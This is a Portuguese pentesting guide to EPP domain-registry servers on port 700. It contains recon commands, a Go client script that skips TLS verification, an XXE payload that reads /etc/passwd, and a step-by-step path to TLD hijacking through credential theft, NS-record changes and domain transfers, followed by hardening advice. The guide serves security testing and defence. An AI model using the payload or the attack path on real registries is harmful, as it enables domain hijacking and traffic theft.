700 - Pentesting EPP

Reading time: 6 minutes

Informações Básicas

O Protocolo de Provisionamento Extensível (EPP) é um protocolo de rede usado para a gestão de nomes de domínio e outros recursos da internet por registros de nomes de domínio e registradores. Ele permite a automação dos processos de registro, renovação, transferência e exclusão de nomes de domínio, garantindo uma estrutura de comunicação padronizada e segura entre diferentes entidades no sistema de nomes de domínio (DNS). O EPP é projetado para ser flexível e extensível, permitindo a adição de novos recursos e comandos à medida que as necessidades da infraestrutura da internet evoluem.

Basicamente, é um dos protocolos que um registrador de TLD vai oferecer aos registradores de domínio para registrar novos domínios no TLD.

Pentest

Neste artigo muito interessante você pode ver como algumas pesquisas de segurança descobriram que várias implementações deste protocolo eram vulneráveis a XXE (Entidade Externa XML), uma vez que este protocolo usa XML para se comunicar, o que teria permitido que atacantes assumissem o controle de dezenas de TLDs.

Enumeração & Recon

Os servidores EPP quase sempre escutam na porta TCP 700/tcp sobre TLS. Uma implantação típica também impõe mutual-TLS (mTLS), então o cliente deve apresentar um certificado válido emitido pela CA do registro. No entanto, muitas implantações privadas de teste ou pré-produção esquecem esse controle:

# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

Se o servidor não encerrar a conexão após o handshake TLS, você pode tentar enviar uma mensagem <hello/> não autenticada:

<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

Clientes de código aberto úteis para testes

• epp-client (Go) – mantido ativamente, suporta TCP/TLS e EPP-over-HTTPS (RFC 8730): go install github.com/domainr/epp/cmd/epp@latest
• gandi/go-epp – biblioteca de cliente mínima que pode ser facilmente instrumentada para fuzzing ou fluxos de trabalho estilo nuclei.
• afq984/php-epp-client – implementação em PHP usada por muitos registradores pequenos; um alvo conveniente para revisão de código.

Exemplo de script mínimo de login+verificação com Go epp-client:

package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

Fraquezas Comuns & Vulnerabilidades 2023-2025

Carga útil XXE / SSRF (funciona contra muitas implementações Java/Spring)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

Quando o parser está mal configurado (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true), o conteúdo do arquivo é retornado dentro da estrutura <resData>.

Outras descobertas típicas

1. Política de credenciais fracas – senhas de login EPP com menos de 8 caracteres; força bruta é frequentemente viável porque a especificação apenas RECOMENDA (não exige) limitação de taxa.
2. Falta de status registryLock / serverUpdateProhibited – uma vez autenticados, os atacantes podem imediatamente atualizar os registros NS e roubar tráfego.
3. Mensagens de poll não assinadas – algumas implementações ainda não assinam mensagens de Q&A de poll, permitindo spoofing/phishing de operadores de registradores.

Caminho de Ataque: Do Zero ao Sequestro de TLD

1. Descubra um endpoint EPP (frequentemente escondido atrás de um host genérico como ot&e.<tld>.nic.<cc>).
2. Abuse uma das fraquezas acima para obter credenciais de nível de registrador (XXE → SSRF para IMDSv1, exfiltração de credenciais ou bypass de TLS).
3. Emita solicitações <update> para alterar os registros hostObj do domínio para servidores de nome controlados pelo atacante.
4. (Opcional) Envie um <transfer> para mover o domínio para um registrador controlado pelo atacante – muitos registros ainda dependem de um único código de autenticação.
5. Lucro: controle total da zona DNS, capacidade de solicitar certificados TLS via ACME.

Medidas Defensivas & Fortalecimento

• Imponha mTLS com certificados de cliente por registrador e fixe a CA do registro.
• Defina parserFeature secure-processing=true ou equivalente para eliminar XXE.
• Execute fuzzing contínuo do parser XML (por exemplo, com go-fuzz ou jazzer para Java).
• Implemente status Registry Lock / server*Prohibited para domínios de alto valor.
• Monitore a fila poll para comandos suspeitos de <transfer> ou <update> e envie alertas em tempo real.
• Emendas ao contrato de abuso de DNS da ICANN 2024 exigem que os registros provem controles de limitação de taxa e autenticação – aproveite-os.

Referências

• ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
• HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).